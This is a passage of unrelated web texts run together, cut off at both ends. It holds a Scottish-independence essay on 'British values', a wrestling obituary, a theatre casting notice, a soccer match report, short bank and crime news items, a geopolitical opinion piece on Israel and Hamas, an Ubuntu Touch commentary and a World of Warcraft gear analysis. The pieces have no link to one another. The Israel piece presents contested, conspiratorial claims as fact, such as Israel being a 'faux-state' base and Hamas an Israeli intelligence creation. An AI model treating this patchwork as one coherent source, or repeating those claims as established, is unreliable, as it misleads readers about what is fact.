clear plan, which was to state that when Ralph Milliband, in his teenage diaries, criticised the institutions of the Queen, Oxbridge Universities, the Houses of Parliament, and the military, he was attacking British values. Staefel equated these insititutions with Britishness itself, and preservation of them in their existing form as the morality which supports that identity. He was defining ‘British values’ as deference to Britain’s ruling-class institutions. To them, if you don’t show that deference to the institutions that rule you, not only are you not British, you in fact hate Britain itself, enough to leave “an evil legacy.” Which is ultra-conservative ‘cult of the pharoah’ stuff, but at least gives us an answer for what these values we’re so often preached to about actually consist of; we now have at least one view on what they are that we can categorically reject. And not only is this the only explanation of substance that I have ever heard, it does make sense as a definition. Those institutions which put the ‘Great’ into ‘Great Britain’, long may they rule over us, may represent the exact opposite of the values of a lefty like me, but they were the real decision-making architects of the Empire. Whether we want to be or not, being ruled over by them is definitively what every British person has in common. So in this case, it’s easy: I denounce British values. They do not apply to me whatsoever. They don’t apply to anyone I know, quite possibly to anyone I’ve ever met. I want the institutions which define them to be constitutionally separated from the state that I take part in electing at the ballot box, and the people of the country that I live in to be sovereign. I have a fantastic opportunity to help that happen soon by voting Yes. But say the Daily Mail definition isn’t correct, and like Alistair Campbell claims, these are the wrong British values, then still all that we’re left with are those platitudes of the careerist politicians frightened for their Westminster salaries and second homes. We have a choice between a highly authoritarian cult of the elite and screeds of nicey-nicey nothingness. And I denounce those British values too. I denounce the British values of ‘common decency’ and ‘fair play’ when they are used in this context to say absolutely nothing and serve only to get in the way of what is actually at stake in the world. I certainly don’t hate Britain, but it makes some kind of sense to me if this means that I don’t have a British identity – and so be it. Are there competing ‘Scottish values’? I really don’t know that there are, so claiming that Scottish values are superior won’t really cut it. I’ve heard a variety of attempts to explain them and again it ends up being much the same kind of nothing: “a sense of fair play”, “friendliness”, I even once heard “thrift.” That last one’s an inaccurate stereotype, it’s not a national value. The explanation of British values often drifts into Christian values, which should be easy to describe given that they have a guide book, but it doesn’t tend to turn out that way. We’ve heard recently that upon independence, the disestablishment of the Church of Scotland is highly likely, swept away as they would be in the wave of de-centralising democracy which unfortunately will, initially at least, stop short of the Queen. We could choose a Daily Mail, or maybe a Daily Express, definition of Scottish values, where deference to the Church of Scotland, the Scottish Parliament, still the Queen, and one of the Old Firm always winning the league is the way, the truth, the life. Not only would that still be shite, it would be wasting the opportunity that independence offers by merely changing the colour of the flag. I have my own values, I’m sure you’ll have yours, and building a society is about negotiating between them. I’ve heard that in an independent Scotland we will be able to come up with new values. That’s exciting, but I’d rather the values of our new constitution were more outward-looking and avoided platitudes which amount to saying “we’re nice here.” Do any supposedly national values really speak to the specific character of that given nation? The real reason that the French, South African and American examples I gave have force isn’t, unfortunately, because any of them are greatly accurate defining characteristics of those places today, but because they all came from a place of rejecting a previous tyranny and giving birth to new societies by defining themselves directly against it. We do indeed have an opportunity to start something new, so let’s try to make it mean something. Values are essential, they can and often do mean something. I’ve recently had cause to try and re-assess what my own values could be. For one aspect of my life it’s quite simple. I’m a musician, and since my early teens my approach to the music I’ve made has always been informed by the values of punk, even if the music itself isn’t traditional punk rock. Here’s the way that I see them; you can Do It Yourself, rough edges show your character so are a welcome and happy accident rather than a mistake, the influence or aspiration to money or fame should be distrusted, please yourself with anything you do first and foremost, if what you do starts provoking or rubbing people up the wrong way that should be embraced, and that a general anti-authoritarianism should be accompanying all of this. I often feel old fashioned when I say stuff like that, but when any of these values are challenged that’s usually the basis for me disapproving of other music, if I do. Those values don’t belong to a creed or a nation and without being in any way prescriptive they apply to me in a very practical manner. They have guided a great deal of what I have done in my adult life, and I found it surprisingly easy to just detail what they were. Although I’ve always played about with Scottish imagery, and you’d certainly never hear me say that I enjoyed seeing Gascoigne scoring against the international football team I support, Scotland, I’ve never written anything that could be called nationalistic because I wouldn’t feel comfortable doing so, it’s not me, and it doesn’t fit with those values I’ve had since I was a wide-eyed wee boy just trying to make as much noise as I could. I intend to vote Yes and I am not a nationalist. Furthermore, and it may sound odd in a climate where even every No campaigner is clamouring to drape themselves in the Saltire, I would not even describe myself as particularly patriotic. I love and feel a deep connection to a great deal of Scottish culture, I am proud to take part in it in my own small way, it burns at me when our culture is denigrated, but I can also think of many things that us Scots should collectively be thoroughly ashamed of (sectarianism and an odd and prevailing sort of pride in our violence and our alcoholism spring to mind). I also feel a connection to English culture. Just like a famous German Jew who lived in London once did, I can try to lend weight to the argument I’m eventually going to make here by quoting Shakespeare on money (“Thou common whore of mankind, that put’st odds / Among the rout of nations”) and feel I’m pulling from a shared cultural understanding in doing so. I just think that the best way that this particular piece of the world can be governed is if the people that live here have the ultimate say on it. I’m voting Yes for two reasons: because so many of the great injustices carried out against the people in Scotland have only been possible because they have been ruled by successive governments that they did not elect; and from out of a belief that the best road to internationalism is via decentralisation, the dismantling of the old imperialist world powers, and self-determination. Many will tell you that they are voting No in the name of internationalism – that we should not create more borders. But what this non-debate on national values further illustrates is that we currently don’t have an option between Scottish independence and no-borders internationalism. If we did, I’d vote against Scottish independence, thank you, and bid a hopeful farewell to war. The Scottish border (which already exists, giving a constintuency to the Scottish Parliament and its existing powers) is indeed an arbitrary national boundary. But voting No and staying with Britain, with it’s imperialistic past, its UK Independence Parties and its English Defence Leagues, is ultimately still choosing one arbitrary national boundary over another. It’s a shame that we can’t just immediately do away with all of them and have anarcho-syndicalistic direct democracies across the globe, but this is the option that we are faced with at the moment. One global super-state has never been my idea of internationalism anyway; it really doesn’t follow that the broader the reach of the government the better. Scotland is already defined within the highly nationalistic Treaty of Union as a nation. It has its own education system, its own legal system, its own Parliament. That we have all of these things yet could still be taken to war or have our budgets held to ransom by an old-Etonian Tory government is madness. And that government, despite its vague attempts at towing the platitudinous ‘British Values’ line, does indeed have real, substantive values. They are a prescribed self-reliance for the poor and vulnerable while the existing social hierarchy is maintained at all costs. The fact that Scottish interests and, yes, the values of those people, whatever they may be, should be reflected in a government of its own is not necessarily a result of having superior values or more pressing priorities, but of having undeniably distinct ones. It is un-democratic that they are not reflected in how we are governed. That’s it. Maybe in an independent Scotland we can get shot of these inadequate ideas of national values and finally accept that class and the power structures in place in a capitalist society are the things that really define what seperates people, are the things that really explain conflict and define the values of our age. If not, at least things like the Bedroom Tax can’t be imposed on a clearly defined population which has again so clearly voted against it. The talk of national values is not helpful when the fundamental issue which drives politics is class. So please don’t say “I’m not a nationalist but I’m voting Yes”, please say “I’m voting Yes because I’m not a nationalist.” British nationalism, like all nationalisms, is dangerous, and in Scotland we have a chance to build something genuinely new without either falling into the same clichés or the same apology for existing power structures. Say it loud, say it proud: “I denounce British values, and most probably Scottish ones too while we’re at it.” If we vote Yes we’ll have a fighting chance to negotiate something else between us. We currently don’t have that opportunity. Gav Prentice National Collective -Wrestling superstar "Rowdy" Roddy Piper has died at age 61. Multiple reports indicate that Piper died in his sleep from a heart attack. "Rod passed peacefully in his sleep last night," Piper's agent Jay Schacter told Variety. “I am shocked and beyond devastated.” Upon learning of his death, WWE chairman Vince McMahon tweeted that Piper was "one of the most entertaining, controversial and bombastic performers ever in WWE beloved by millions of fans around the world." Piper, whose real name was Roddy Toombs, is a member of the WWE Hall of Fame, and was one of the core members of the '80s-era WWE (then known as the WWF). Born in Saskatchewan, Canada, Piper competed in the very first Wrestlemania, working a faux-Scottish angle in a tag-team match (along with Mr. Wonderful Paul Orndorff) against Hulk Hogan and Mr. T, and quickly became one of the sport's most hated villains. Piper's rivalries with Hogan, Jimmy Snuka and even Cyndi Lauper set the tone for the WWF, helping the wrestling organization achieve the nationwide prominence that it enjoys to this day. Piper's key gimmick was "Piper's Pit," a mock talk show in which Piper would sit down with fellow wrestlers to talk out the issues of the day. Naturally, the talk lasted less than a minute before the fists flew. Here's a representative installment from 1984, where Piper interviewed Sgt. Slaughter: Just last week, Piper was on the Rich Eisen Show, talking of his life and times as well as his old rival Hulk Hogan: Once more, then, Piper's music: Piper later became an actor, with over 100 credits to his name, according to IMDB, including the 1988 cult classic "They Live." Reactions to his death poured in on Twitter: RODDY PIPER. I LOVE YOU FOREVER. GOD BLESS YOU BUBBA — The Iron Sheik (@the_ironsheik) July 31, 2015 One of the true greats of all time. My heart goes out to his family and the fans he entertained over the years. RIP Rowdy. — John Cena (@JohnCena) July 31, 2015 He was a friend and a mentor! HotRod, you will be missed. #RIPRoddyPiper — GOLDUST (@Goldust) July 31, 2015 WOW the battle Royal in Heaven is filling up. RIP Roddy you'll be greatly missed — Wade Boggs (@ChickenMan3010) July 31, 2015 ___________________ Jay Busbee is a writer for Yahoo Sports. Contact him at jay.busbee@yahoo.com or find him on Twitter. Follow @jaybusbee And keep up with Jay over on Facebook, too. -Roy Sexton, a Saline resident, has been cast as one of the principals in “Legally Blonde the Musical,” a show that will be presented by the Farmington Players beginning April 26. Sexton – vice president of marketing and planning for Trott & Trott, PC, a real estate law firm in Metro Detroit – will portray Callahan, the pompous and scheming head of the law firm that hires Elle Woods as a summer intern. The 2007 Tony-nominated musical is based on the 2001 Reese Witherspoon film from MGM. Callahan was played by Victor Garber in the movie. The Farmington Players’ production opens April 26 and runs through May 18. Tickets can be purchased at www.farmingtonplayers.org or by calling (248) 553-2955. Sexton most recently had the lead role of Georg Nowack in last summer’s production of “She Loves Me” with Ann Arbor’s The Penny Seats, a theatre company he co-founded. He also has appeared in “Goodnight Desdemona,” “Oklahoma,” “Bells are Ringing,” “The Taming of the Shrew,” “Fiddler on the Roof,” “The Fantasticks,” among other productions. He also is an active cabaret performer, and he holds a master’s in theatre from Ohio State University. In 2007, Sexton, a graduate of Wabash College, received his MBA from the University of Michigan. -Sacramento Republic were in preseason form in their 1-0 loss to the Colorado Rapids in the first preseason game of the year. A late goal by Colorado Rapids defender AJ Cochran broke the deadlock between the two teams, taking away what looked to be an earned draw by the Republic. The level of play from both teams was fairly disappointing in the first half, with both teams displaying decidedly preseason levels of passing, movement, and play in general. The Republic's attack looked toothless, with no quality scoring chances created and just two poor shots. Defensively the picture was a bit brighter for the Republic, with new defensive additions Mike da Fonte, Chris Christian, and Evan Newton putting on a fairly good showing. Simply put, there was no real offensive threat being put forward from either team and on the whole it was a pretty boring first 45 minutes. SRFC vs Colorado Rapids first half analysis. pic.twitter.com/jrkwkmtJkW — Hector (@Hec18) February 14, 2016 Things picked up a bit in the second half, with most of the game's high points coming in the second 45 minutes. The passing was crisper, the movement was better, and the overall level of play improved. While the Rapids subbed out seemingly all of their field players at the half, Republic waited until the 54th minute to make the bulk of their substitutions, with Matt LaGrassa, Max Alvarez, trialist Mackenzie Pridham and trialist Alex Risdale coming on for Cameron Iwasa, Agustin Cazarez, Alfonso Motagalvan and Thomas Stewart. The high point for Republic came in the 67th minute when Max Alvarez went on a nice run down the left flank, crossed the ball looking for Pridham but after a deflection found Barrera, whose shot went just a hair wide. It was the home team's best chance of the night and was a glimpse of what we would all like to see more of in the coming months. In the 73rd minute it appeared that Pridham had broken the deadlock, but his goal was called offside, much to the disappointment of the crowd. Another highlight reel moment came in the 84th minute from Joaquin Rivas, who sent a great long ball over the top of the Rapids defense to Pridham. Pridham then laid the ball off to Risdale, whose shot went wide. Despite a few chances for Sacramento, it was the Rapids who eventually broke the deadlock, scoring in the 86th minute on an AJ Cochran header off a free kick delivery from Marc Burch. The goal seemed to energize the Republic attack and they went looking for an equalizer that they were unfortunately unable to find. Many of the chances that the team got late came from their series of corner kicks in the last minute, all of which — in true Republic fashion — went unconverted. With the Rapids loss now behind them, the Republic look forward to a midweek match against the PDL's Burlingame Dragons and then a meeting next Saturday against their rival and MLS affiliate, the San Jose Earthquakes. Look for a more in-depth reaction to the match, including quotes from Coach Buckle, Ivan Mirkovic and Chris Christian tomorrow on Indomitable City Soccer. Republic Lineup and Final Stats Staring Lineup: Evan Newton; Agustin Cazarez, Mike da Fonte, Chris Christian, Emrah Klimenta; Danny Barrera, Alfonso Motagalvan, Ivan Mirkovic, Cameron Iwasa; Harry Williams, Thomas Stewart. Subs: Derek Foran (45) Alex Risdale (54), Matt Lagrassa (54), Max Alvarez (54), Mackenzie Pridham (54), Joaquin Rivas (73) Final Republic Stats: Shots: 6, Shots on Goal: 0, Saves: 2, Fouls: 16, Corner Kicks: 5, Offside: 2. -Twenty bankers from National Australia Bank have been sacked or have left the lender for breaching its policies when issuing 2300 home loans, including some that may be based on false information. NAB on Thursday said it had also disciplined a further 32 staff for failing to follow its strict policies when writing the loans, which mainly went to foreign buyers of Australian property. In the latest example of misbehaviour in the banking industry, NAB said that in 2015 it became aware of the problematic mortgages, many of which were sold via "introducers" – people outside the bank who collect a fee for referring a customer. NAB said some of the loans may have been submitted without accurate information about the customers, which could include incorrect documents such as payslips. -A former Chicago store owner charged with fatally shooting a man who stole a can of beer in 1979 was arrested at O'Hare International Airport after returning to the area 34 years later to attend a graduation, authorities said. Ata Yousef El Ammouri, 65, was wanted on warrants alleging murder and bail jumping, and was ordered held without bail on Saturday when he appeared in bond court, according to a release from the Cook County sheriff's office. El Ammouri is accused of fatally shooting Joe Harris, 31, on July 22, 1979 when Harris walked out of El Ammouri's store on the 500 block of East 67th Street without paying for a can of beer, the release said. After he was charged with murder, El Ammouri posted a $100,000 bail, authorities said. In November 1979 he failed to show up for court and was named in fugitive arrest warrants for murder and jumping bail. On Friday about 5 p.m., members of the sheriff's Central Warrant Unit took El Ammouri into custody at O'Hare after he arrived from Jordan, where he resides, the sheriff's office said. He was traveling to the U.S. to attend a graduation, but the sheriff's office did not release additional details. The investigation involved coordination between various federal and state law enforcement agencies across two countries, the sheriff's office said, specifically mentioning help from the U.S. Department of State Diplomatic Security Service. chicagobreaking@tribune.com Twitter: @ChicagoBreaking -Of course, Israel does nothing unilaterally. It is a stunted, militaristic faux-state that depends entirely on the West for its continued existence. From the funds it builds its military with, to the very hardware it buys and maintains, starting from the day the modern state of Israel was founded up to and including today, Israel is in reality a state-sized forward operating base (FOB).Wikipedia defines a FOB as follows: “The base may be used for an extended period of time. FOBs are traditionally supported by Main Operating Bases that are required to provide backup support to them.[citation needed] An FOB also improves reaction time to local areas as opposed to having all troops on the main operating base.” As such, Israel’s constant and otherwise irrational belligerence makes perfect sense. An FOB’s priorities are not prosperity and peace as would a nation’s, but rather to engage forward into enemy territory. The trick over the years has been to portray Israel as a nation, while propping up its constant belligerence and aggression as “self-defense.” To keep this illusion in motion, Israel and its regional and Western collaborators have even created full-time enemies, including Hamas itself – a creation of Israeli intelligence and to this day primarily propped up by Saudi Arabia and Qatar, both of which are defacto regional partners with the West and of course Israel itself. The Wall Street Journal reported in their article, “How Israel Helped to Spawn Hamas,” that (emphasis added): “Hamas, to my great regret, is Israel’s creation,” says Mr. Cohen, a Tunisian-born Jew who worked in Gaza for more than two decades. Responsible for religious affairs in the region until 1994, Mr. Cohen watched the Islamist movement take shape, muscle aside secular Palestinian rivals and then morph into what is today Hamas, a militant group that is sworn to Israel’s destruction. Instead of trying to curb Gaza’s Islamists from the outset, says Mr. Cohen, Israel for years tolerated and, in some cases, encouraged them as a counterweight to the secular nationalists of the Palestine Liberation Organization and its dominant faction, Yasser Arafat’s Fatah. Israel cooperated with a crippled, half-blind cleric named Sheikh Ahmed Yassin, even as he was laying the foundations for what would become Hamas. Sheikh Yassin continues to inspire militants today; during the recent war in Gaza, Hamas fighters confronted Israeli troops with “Yassins,” primitive rocket-propelled grenades named in honor of the cleric. This is in fact exactly what Hamas is still being used today for – to counter real opposition movements by dividing against each other different factions of Muslims and secular organizations alike, in confusion and armed combat, preventing a greater, unified front against Western expansion and exploitation throughout the region. Extremist groups closely aligned to Hamas, including Al Qaeda and the Muslim Brotherhood, would flood into Iraq during the US occupation to “serendipitously” disrupt united Sunni-Shia’a resistance, and create bloody infighting that broke the back of meaningful opposition against foreign occupation. The same method is being used again in Syria, and with the Islamic State in Iraq and Syria’s (ISIS) incursion into Iraq weeks ago, yet again against Baghdad. Divided and in perpetual conflict, the Arab World across the Middle East and North Africa (MENA) has not been able to create strong, secular, nationalist nations to protect Arab socioeconomic and political interests. In the process, the West has been able to exploit, divide, and conquer regions of MENA over and over again. Israel’s role as the ultimate casus belli, instigator, and aggressor, has been instrumental in keeping this hegemonic enterprise alive and well with the region kept in a perpetual and crippling defensive posture. Israel’s Role as “Unilateral Aggressor” is Stated US Policy Logistically, it is obvious Israel does not exist without Western support, and therefore does not act without Western approval. The illusion of its unilateral aggression is designed specifically to lend the West plausible deniability for brutality and unprovoked aggression it believes it cannot afford to be associated with directly. This is stated across years of US policy papers, including the most definitive report on the subject, Brooking Institution’s 2009 report “Which Path to Persia?” The report itself conspires to use covert provocations to trigger a war with Iran, to undermine it politically through foreign-sponsored “protests” augmented by covert armed groups, the direct funding, arming, and use of listed terrorist organizations against the Iranian people, and specifically the use of Israel to attack Iran with covert Western backing to make it appear as if Tel Aviv took the steps unilaterally. It specifically states: “An Israeli air campaign against Iran would have a number of very important differences from an American campaign. First, the Israeli Air Force (IAF) has the problem of overflight transit from Israel to Iran. Israel has no aircraft carriers, so its planes must take off from Israeli air bases. It also does not possess long-range bombers like the B-1 or B-2, or huge fleets of refueling tankers, all of which means that unlike the United States, Israel cannot avoid flying through someone’s air space. The most direct route from Israel to Iran’s Natanz facility is roughly 1,750 kilometers across Jordan and Iraq. As the occupying power in Iraq, the United States is responsible for defending Iraqi airspace. “Which Path to Persia?-page 105 (.pdf) “From the American perspective, this negates the whole point of the option—distancing the United States from culpability—and it could jeopardize American efforts in Iraq, thus making it a possible nonstarter for Washington. Finally, Israeli violation of Jordanian airspace would likely create political problems for King Abdullah of Jordan, one of America’s (and Israel’s) closest Arab friends in the region. Thus it is exceedingly unlikely that the United States would allow Israel to overfly Iraq, and because of the problems it would create for Washington and Amman, it is unlikely that Israel would try to fly over Jordan.” Which Path to Perisa?-page 106 (.pdf) “An Israeli attack on Iran would directly affect key American strategic interests. If Israel were to overfly iraq, both the Iranians and the vast majority of people around the world would see the strike as abetted, if not authorized, by the United States. Even if Israel were to use another route, many Iranians would still see the attack as American supported or even American orchestrated. After all, the aircraft in any strike would be American produced, supplied, and funded F-15s and F-16s, and much of the ordnance would be American made. In fact, $3 billion dollars in U.S. assistance annually sustains the IDF’s conventional superiority in the region.” Which Path to Persia-page 106 (.pdf) “…the Israelis may want to hold off until they have a peace deal with Syria in hand (assuming that Jerusalem believes that one is within reach), which would help them mitigate blowback from Hizballah and potentially Hamas. Consequently, they might want Washington to push hard in mediating between Jerusalem and Damascus.” -page 109 (.pdf) With the US fully withdrawn from Iraq and Damascus significantly weakened, many of these problems have been adequately addressed, and with the US’ perceived “failure” in and “withdrawal” from the region being eagerly reported by the Western press itself, the stage is set for the ultimate staged “unilateral” attack by Israel, not only against its own Hamas provocateurs, but through a series of dubious associations, Hezbollah, Damascus, and even Iran itself. Of course, another possibility exists. As seen before, Israeli belligerence and intentional role as regional arch-villain has been used to undermine targets throughout the region as well as boost others up. That Hamas’ current and most public supporters are Israel’s own regional collaborators, Saudi Arabia and Qatar, a quick and humiliating stalemate for Israel would help boost the credibility of Riyadh and Doha across the region ahead of renewed pushes against both Damascus and Baghdad. Whichever route Israel takes, it will be apparent soon enough. Should the conflict expand rapidly and involve Hezbollah, the final battle may be underway. If the conflict remains limited to Hamas, the possibility that the Israel is trying to lend Hamas’ public sponsors in Riyadh and Doha credibility and momentum throughout the region will be greater. Israel: The Bottom Line What Israel is doing across the region is both criminal and demands condemnation. However, it must be condemned in the context of a belligerent client regime acting not in the best interests of the Israeli people or toward peace, prosperity, and coexistence with its neighbors, but rather for foreign interests that see the nation instead as a massive forward operating base. Protesting Israel alone is not enough. Boycotting Israeli businesses and industries is also fruitless and even helps play into the engineered strategy of tension constructed by Israel’s sponsors. Israel does not fund its military might by local cottage or even national industry, it does so via immense foreign aid. Instead, to protest and undermine Israel’s role as regional provocateur, target the corporate-financier interests that feed it billions of dollars annually. Separate, isolate, and protest Israel’s political leadership rather than Israel’s existence and population. Reach out to Israelis who oppose their government’s current posture of perpetual provocations, and those in the middle who may be swayed one way or another. By throwing rocks at Israel as a whole, one plays into the besieged mentality the government invests immense resources in perpetuating among common Israelis. Those who might otherwise see their government as the villain will seek its protection against irrational external hatred directed at the entire nation rather than at those responsible for its criminal extraterritorial brutality – whether it is in the occupied territories of Palestine, or across the borders of its neighbors in Syria, Iraq, Iran, or beyond. Tony Cartalucci, Bangkok-based geopolitical researcher and writer, especially for the online magazine “New Eastern Outlook”. -The Ubuntu Touch platform is very close to the release, and very few people have actually realized what kind of potential it holds. It's open source, it has quite a few apps in the store, it's completely Linux based, and it's designed by a dedicated team. It has the possibility of becoming a real success and it's well under way towards that goal. Canonical announced a couple of years ago that they had started the work on a new operating system for the mobile platform. The team was doing releases for many years, they had a working OS for TVs and they have dabbled with the idea of putting Ubuntu or the Unity desktop on the phone. In fact, one of their first projects in this direction was called Ubuntu for Android. Some users might remember their demos that were working from the original Nexus phone. Users would just plug in the device to a monitor and the OS became a full-fledged Linux distribution. It captured the imagination, and even if nothing really came out of it, the same kind of thinking went into the design of the phone and into the idea of convergence. Convergence is the future The idea of convergence is not something new and it meant a different thing two or three years ago. Today it means two things. Developers want to make a single operating system that can run on PCs, tablets, phones, and everything else from a single codebase, and app developers want to make a single apps that can run on all of them. It might sound like a difficult thing to accomplish, but Ubuntu is already there and this is happening right not. It won't become the norm at least for a couple more years, but there are already apps that can run on different platforms without modifications. Ubuntu Touch is the tip of the spear for the idea of convergence and it will be the first operating system out there with this kind of capability. This opens new horizons for the OS, which will be able to run apps that would otherwise be confined to a life on the desktop, with just a minimal implication from its developer. It's difficult to envision the future of Ubuntu Touch as a successful platform and I'm guessing that its developers are having the same difficulties. They know a lot more about the project and about its capabilities, but this is a very volatile industry that loves you today and hates you tomorrow. Canonical now has an opportunity to make a real impact with a product that is radically different from everything else. If you take all of these features together, the convergence, the fact that it's open source, the unique design, and the huge community behind Ubuntu, you will find that there is nothing like it in the entire industry. This is the main feature of Ubuntu Touch, its uniqueness. It's not the fastest, it doesn't have the most apps, but it has heart and the people who are building it are really passionate and opened about their work. This alone makes it a winner. -There’s been quite a bit of discussion about weapon enchants, and which ones are the best for tanks. There are some enchants that are obviously intended to be tanking choices: River’s Song gives us dodge rating, while Colossus gives us absorption bubbles. And Dancing Steel gives a nice chunk of strength, which is almost a 1:1 conversion to parry rating after raid buffs. Given our new-found affinity for haste and mastery, a lot of people have thought favorably of Windsong, which in previous expansions would have been a pure DPS option. My initial intuition told me that, based on the proc rates and effect types, Colossus would be a decent choice. Unfortunately, I just didn’t have the time to finish writing the detailed simulations I needed to prove it, though the data in my raid logs seemed consistent with what I expected. And before I got around to writing simulations, the “Real Proc Per Minute” (rPPM) mechanic was announced, throwing a wrench into the works. Since it seemed clear they were thinking about migrating the other effects to this system, I decided to wait on writing anything rigorous until the dust settled. And in due time, it was announced that all of these enchants are moving to a rPPM implementation in 5.1. Ten points for lazy Theck! More seriously, though, this means we can now cleanly compare the different effects. I worked through some of the math for this in several forum posts, albeit a little sloppily. I’ve consolidated those posts here, and updated/corrected the math where it was a little less rigorous. Uptime Calculations The rPPM proc mechanics were described in this post by Daxxarri. The proc chance for any given attack is $p = P H T/60$ where $P$ is the proc rate (i.e. “2 rPPM”), $H$ is your haste modifier (which is the higher of your melee and spell haste; in practice this will always be our spell haste thanks to Seal of Insight and the 5% spell haste raid buff), and $T$ is the time since the last eligible proc source (in this case, the last time you dealt damage, healed someone, or missed/dodged/parried). It’s relatively simple to show that for one of these enchants, this gives an uptime of approximately: $U = P H D/60,$ where $D$ is the duration of the buff the effect grants. I say “approximately” because technically a proc-based effect with $x$ rPPM won’t give you exactly $xHD$ seconds of uptime per minute. The reason is that you can get “unlucky” and have overlapping procs that refresh the buff, reducing the overall uptime. Hamlet has already described how to do this, so I won’t go into it here. This will reduce the effectiveness of Windsong, Dancing Steel, and River’s Song. The table below gives the time-averaged uptime of each of the enchants we’re interested in with and without this correction, assuming 10% spell haste: Enchant P (PPM) P*H*D/60 1-exp(-P*H*D/60) Windsong 2/3 0.1467 0.1364 Dancing Steel 2 0.4400 0.3560 River’s Song 4 0.5133 0.5133* In this case, the Windsong result is for any one of the three buffs – i.e., we get about 13.64% uptime on each one. River’s Song is a bit of a special case as well – the buff it grants stacks twice, which changes the uptime calculation a bit. In that case, we only care about the situations where we get 3 procs in a short time period, such that one of them is “wasted.” That’s a much more complicated probability question, and the result will be very small, so we’re going to ignore it for the purposes of this post. The effect this type of “munching” has on Colossus is harder to model. Colossus is 6 PPM, but it’s not a fixed-duration buff either. It lasts up to 10 seconds, but in practice it will be consumed much faster than that while you’re tanking. Exactly how fast depends on a myriad of factors – the boss’s attack speed, your avoidance, your attack speed, and what spells you cast (and in what order!). It’s too complicated a problem to accurately treat here, so we’re going to fudge the numbers a bit and assume about 10% Colossus munching, such that it completely offsets our haste bonus from Seal of Insight. This is almost certainly an overestimate of the munching effect, so our numbers for Colossus should be a lower bound on what you can reasonably expect. Analysis I had been saying that Dancing Steel was going to be better than River’s Song, but now I’m not so sure. Without the stacking mechanic the uptimes would be similar, which would give Dancing Steel the edge. But the stacking mechanic changes things – since it’s harder to waste a River’s Song proc we get considerably higher average uptime out of it. Dancing Steel still has some advantages – the ~587 average strength it provides gives you parry (which in some gear sets may be diminished less than dodge), plus some DPS, plus some SoI healing. But I’m not certain that it’s strictly superior to River’s Song (which gives ~847 dodge rating) anymore, even for raw avoidance. The math for Windsong is sort of interesting. Since each buff is independent, we get an average of 13.64% for each of the three buffs it can grant. That’s 1500 of each rating with 0.1364 uptime, or an average of ~205 rating of each type. If we ignore crit, that’s about 410 rating total, which seems like a lot more than the other options (for example, the weapon chain’s static 200 expertise). However, remember that in terms of raw TDR, haste is abysmal. Putting my current stats into my spreadsheet, I get the following stat weights: Armor 0.8358 Parry 0.4324 Dodge 0.4339 Strength 0.4224 Mastery 0.4380 Hit 0.2248 Expertise 0.1445 Haste 0.1722 So haste is about 0.1722/0.4380=39.3% as good as mastery for TDR. Having 205 haste and 205 mastery is roughly equivalent to having 286 mastery. To put that in terms of damage reduction, let’s use a simplistic model: the damage reduction is approximately equal to (SotR uptime)*rating/600, such that at 100% SotR uptime 600 rating gives 1% damage reduction. In practice, SotR uptime is generally only about 40-50%. If we take the generous assumption of 50% SotR uptime, that 286 rating is only 0.238% reduced damage taken. However, this is absolute damage taken, not relative damage taken. To get relative damage reduction, we’d need to divide by the amount we actually take (i.e. if we only take 70% of the damage that’s coming at us, it’s 0.00238/0.3=0.0079, or ~0.8% relative damage reduction). In practice, this number is about right. With my stat weights, my TDR is around 71.5%, or 28.5% of raw boss damage taken. So, using our guess of about 0.8% relative damage reduction, how much DTPS must we be seeing in logs for this to equal Colossus absorption? It should be (0.8%*DTPS)=800, or about 100k DTPS. Note that I’ve assumed that the free 10% spell haste we get from SoI is counteracted by Colossus munching, and haven’t included other haste contributions (spell haste raid buff, haste on gear, bloodlust, etc.). In practice both Windsong uptime and Colossus absorption per second will be a little higher because of those additional haste factors, and generally in Colossus’ favor. For example, in my gear set I have 4.14% haste, for 14.55% total before raid buffs and 20.28% after raid buffs, which means I’d be getting around 962 HPS from colossus and 14.82% uptime on Windsong (222 rating per buff, 310 effective mastery, 0.2583% absolute damage reduction, 0.8611% relative damage reduction), raising the threshold to 111.7k DTPS. These values are well above steady-state damage intake in heroic content (though on par with peak or high-damage periods). So in 5.1, Windsong will definitely not be the best TDR enchant. Colossus has it beat by a fair bit, and even during high-damage-intake situations they’ll be about equal. As of right now, Colossus’ proc rate is a little lower – on our last Stone Guard 25H kill, it procced 34 times for 272k absorption in about 7 minutes, for about 650 HPS. That’s still well ahead of Windsong’s TDR performance. In other words, if you are choosing Windsong for reasons of TDR, you’re doing it wrong. Control Considerations Now, you might argue that we’re not gearing for hit/exp/haste/mastery for the purposes of TDR, and you’d be right about that. We’re gearing for them because it gives us greater control over our survivability. But I think that’s makes for an even weaker argument for Windsong. Which gives you more reliable damage mitigation (or phrased another way, better smoothing): an 8k absorb every 10-12 seconds, or an uncontrollable proc that may or may not be up when you need it, and has a chance of giving you back-to-back crit procs that don’t help you? Personally, I’d take the 8k absorb. Because my usual death scenario is a 5-8 second window where I’m bursted down without enough healing. There’s a very good chance that I’ll have one Colossus proc in that window (at roughly 1 proc every 8.3 seconds with 20% raid-buffed haste, the overlap chance is greater than 65%). There’s a much smaller chance that I have a useful Windsong proc covering that window. Admittedly, if it does line up, it’s a much stronger defensive effect than an 8k absorb, but I’d rather have the 8k absorb ~80% of the time than the much larger effect 25% of the time (roughly estimating, 12s*(4/3)/60s=26.6%). There’s also something to be said for the Living Steel Weapon Chain. A static 200 expertise is always on, so it’s got the whole “consistency” thing in the bag. And it’s expertise, which we value much more highly than expertise or haste, right? Well, not exactly. If you can reach the caps via reforging already, all this enchant does for you is allow you to reforge less of that itemization on gear into expertise, and subsequently keep more mastery or haste. In that sense, it’s not worth 200 expertise, it’s worth 200 of whatever stat you’re reforging into after hit/exp caps – either 200 mastery or 200 haste. It’s only if you can’t reach the caps via just reforging that the enchant keeps its higher value as an expertise source. Conclusions Despite some early enthusiasm for Windsong, I think we can conclusively say that it isn’t as attractive as many thought it would be. In fact, despite the fact that we like haste and mastery, I think River’s Song is a stronger enchant. Remember that after hit/exp cap, avoidance is almost as good as haste and mastery, and River’s Song’s superior uptime gives you a lot more avoidance than Windsong gives haste and mastery. I still think Dancing Steel has some allure as well – the fact that it grants parry might make up for the lower uptime, but that will depend on exactly how lopsided the avoidance on your gear set is. In my setup, parry’s actually being diminished more than dodge, so River’s Song would hold a commanding lead over Dancing Steel in TDR and survivability. Your mileage may vary. For consistency, I think the Colossus enchant is unmatched. Yes, the absorb bubbles are small, but their reliability is what makes them attractive. Another 8k off of a 100k swing is still a good chunk, and in a longer death scenario I could get two of them. The fact that it’s fairly strong for TDR is a bonus. I’m mixed on the weapon chain. I think it’s a good option when you’re at low gear levels, and really need that 200 expertise to get closer to the 